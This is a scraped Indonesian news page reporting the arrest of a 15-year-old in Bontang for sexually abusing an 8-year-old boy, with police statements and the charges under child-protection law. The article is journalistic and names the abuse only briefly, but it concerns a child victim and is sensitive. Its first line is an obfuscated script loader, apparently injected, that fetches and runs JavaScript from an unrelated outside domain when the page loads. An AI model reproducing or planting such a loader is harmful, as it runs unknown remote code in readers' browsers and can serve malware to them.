(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Timur

Terpengaruh Video Dewasa, Remaja di Bontang Cabuli Bocah Laki-laki 8 Tahun


KANALKALIMANTAN.COM – Remaja berusia 15 di Bontang, ditangkap polisi lantaran mencabuli bocah laki-laki berusia 8 tahun.

Pelaku berinisial RH merupakan tetangga korban HR. RH nekat mencabuli HR dengan cara disodomi, setelah menonton video porno.

Melalui Kasat Reskrim Polres Bontang AKP Makhfud Hidayat, Kapolres Bontang AKBP Hanifa Martunas Siringoringo menyebut tindak amoral RH diketahui setelah HR mengeluhkan sakit pada bagian anusnya.

“Kedua orang tua korban saat itu baru pulang ke rumah, melihat anaknya lemas dan pucat. Saat ditanya, si korban mengaku telah dicabuli dengan dipaksa melakukan oral seks dan disodomi,” katanya saat dikonfirmasi Selasa (22/9/2020) malam.

Tak terima, orang tua korban kemudian melaporkannya ke Mapolres Bontang.

Satreskrim melalui Tim Opsnal Rajawali kemudian dikerahkan untuk melakukan penjemputan.

Pelaku diamankan tanpa perlawanan dikediamannya di kawasan Kecamatan Bontang Utara.

Dari hasil pemeriksaan, pelaku mengaku nekat menyodomi korban usai menonton video porno.

Ketika gairah pelaku membuncah, korban sedang bermain didekat rumah pelaku.

Korban lantas dipanggil oleh pelaku untuk masuk kedalam rumahnya.

“Saat itu lah dia memaksa korban melakukan tindak senonoh. Atas kejadian itu korban pun mengalami syok. Selain mengamankan pelaku kami juga berkoordinasi dengan lembaga perlindungan anak untuk membantu pemulihan psikis korban pasca kejadian,” sebutnya.

Saat ini lanjut dia, pihaknya masih melakukan pemeriksaan pada pelaku.

Adapun barang bukti yang diamankan, berupa pakain korban saat pencabulan dan hasil visum.

Pelaku di ancam dengan Pasal 82 ayat (1) Jo Pasal 76E Undang-undang Nomor 17 tahun 2016 tentang penetapan peraturan kedua atas UU RI No. 23 tahun 2002 tentang perlindungan anak menjadi undang-undang dengan pidana maksimal 15 tahun. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

3 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

6 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

10 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

10 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

12 jam ago

This website uses cookies.